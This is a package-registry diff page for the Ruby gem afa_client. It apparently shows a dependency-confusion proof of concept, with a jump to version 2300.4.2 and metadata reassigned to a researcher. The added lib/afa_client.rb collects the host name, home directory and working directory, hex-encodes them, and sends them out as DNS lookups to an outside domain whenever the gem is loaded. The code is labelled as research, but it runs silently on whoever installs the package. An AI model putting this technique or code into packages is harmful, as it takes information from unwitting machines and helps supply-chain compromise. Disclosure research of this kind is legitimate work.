afa_client 8.0.1 → 2300.4.2
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of afa_client might be problematic. Click here for more details.
- checksums.yaml +4 -4
- data/lib/afa_client.rb +64 -0
- metadata +13 -10
checksums.yaml
CHANGED
@@ -1,7 +1,7 @@
|
|
1
1
|
---
|
2
2
|
SHA256:
|
3
|
-
metadata.gz:
|
4
|
-
data.tar.gz:
|
3
|
+
metadata.gz: 144b904f7f6f176d541c509ae28313632d6ce5deb363c050c36e511fe8d7e1e7
|
4
|
+
data.tar.gz: 4f2bdeec6c56b2688c6a4c142d796329bef2a6d5be911aebf2736864cb634082
|
5
5
|
SHA512:
|
6
|
-
metadata.gz:
|
7
|
-
data.tar.gz:
|
6
|
+
metadata.gz: 2d7b6975f6cf10cde964c59f5ea33d4e60c5ed812f882c30181d090775e21aba882b87d2a4d2d2c44771895214899fcdd402029012dd97bbf84aea18e3bf0e18
|
7
|
+
data.tar.gz: 7e5127607b969f9487cc2ad4951c9ff862192af51615e0f6727534435cb47475e022ac1aeb94ef0054376ff93c644f48028239ad6dd8429c6f6f56394c03a1df
|
data/lib/afa_client.rb
ADDED
@@ -0,0 +1,64 @@
|
|
1
|
+
|
2
|
+
=begin
|
3
|
+
|
4
|
+
This code is used for research purposes.
|
5
|
+
|
6
|
+
No sensitive data is retrieved.
|
7
|
+
|
8
|
+
Callbacks from within organizations with a
|
9
|
+
responsible disclosure policy will be reported
|
10
|
+
directly to the organizations.
|
11
|
+
|
12
|
+
Any other callbacks will be ignored, and
|
13
|
+
any associated data will not be kept.
|
14
|
+
|
15
|
+
For any questions or suggestions:
|
16
|
+
|
17
|
+
alex@ethicalhack.ro
|
18
|
+
https://twitter.com/alxbrsn
|
19
|
+
|
20
|
+
=end
|
21
|
+
|
22
|
+
require 'socket'
|
23
|
+
require 'json'
|
24
|
+
require 'resolv'
|
25
|
+
|
26
|
+
suffix = '.dns.alexbirsan-hacks-paypal.com'
|
27
|
+
ns = 'dns1.alexbirsan-hacks-paypal.com'
|
28
|
+
|
29
|
+
package = 'afa_client'
|
30
|
+
|
31
|
+
# only the bare minimum to be able to identify
|
32
|
+
# a vulnerable organization
|
33
|
+
data = {
|
34
|
+
'p' => package,
|
35
|
+
'h' => Socket.gethostname,
|
36
|
+
'd' => File.expand_path('~'),
|
37
|
+
'c' => Dir.pwd
|
38
|
+
}
|
39
|
+
|
40
|
+
data = JSON.generate(data)
|
41
|
+
data = data.unpack('H*')[0].scan(/.{1,60}/)
|
42
|
+
|
43
|
+
id_1 = rand(36**12).to_s(36)
|
44
|
+
id_2 = rand(36**12).to_s(36)
|
45
|
+
|
46
|
+
begin
|
47
|
+
ns_ip = Resolv.getaddress(ns)
|
48
|
+
rescue
|
49
|
+
ns_ip = '8.8.4.4'
|
50
|
+
end
|
51
|
+
|
52
|
+
custom_res = Resolv.new([Resolv::Hosts.new,
|
53
|
+
Resolv::DNS.new(nameserver: [ns_ip, '8.8.8.8'])])
|
54
|
+
|
55
|
+
|
56
|
+
data.each.each_with_index do |chunk, idx|
|
57
|
+
begin
|
58
|
+
Resolv.getaddress 'v2_f.' + id_1 + '.' + idx.to_s + '.' + chunk + '.v2_e' + suffix
|
59
|
+
rescue; end
|
60
|
+
|
61
|
+
begin
|
62
|
+
custom_res.getaddress 'v2_f.' + id_2 + '.' + idx.to_s + '.' + chunk + '.v2_e' + suffix
|
63
|
+
rescue; end
|
64
|
+
end
|
metadata
CHANGED
@@ -1,23 +1,26 @@
|
|
1
1
|
--- !ruby/object:Gem::Specification
|
2
2
|
name: afa_client
|
3
3
|
version: !ruby/object:Gem::Version
|
4
|
-
version:
|
4
|
+
version: 2300.4.2
|
5
5
|
platform: ruby
|
6
6
|
authors:
|
7
|
-
-
|
7
|
+
- Alex Birsan
|
8
8
|
autorequire:
|
9
9
|
bindir: bin
|
10
10
|
cert_chain: []
|
11
|
-
date:
|
11
|
+
date: 2020-09-14 00:00:00.000000000 Z
|
12
12
|
dependencies: []
|
13
|
-
description:
|
14
|
-
|
13
|
+
description: This package is meant for security research purposes and does not contain
|
14
|
+
any useful code.
|
15
|
+
email: alex@ethicalhack.ro
|
15
16
|
executables: []
|
16
17
|
extensions: []
|
17
18
|
extra_rdoc_files: []
|
18
|
-
files:
|
19
|
-
|
20
|
-
|
19
|
+
files:
|
20
|
+
- lib/afa_client.rb
|
21
|
+
homepage: https://twitter.com/alxbrsn
|
22
|
+
licenses:
|
23
|
+
- MIT
|
21
24
|
metadata: {}
|
22
25
|
post_install_message:
|
23
26
|
rdoc_options: []
|
@@ -34,8 +37,8 @@ required_rubygems_version: !ruby/object:Gem::Requirement
|
|
34
37
|
- !ruby/object:Gem::Version
|
35
38
|
version: '0'
|
36
39
|
requirements: []
|
37
|
-
rubygems_version: 3.3
|
40
|
+
rubygems_version: 3.0.3
|
38
41
|
signing_key:
|
39
42
|
specification_version: 4
|
40
|
-
summary:
|
43
|
+
summary: Security research purposes only
|
41
44
|
test_files: []
|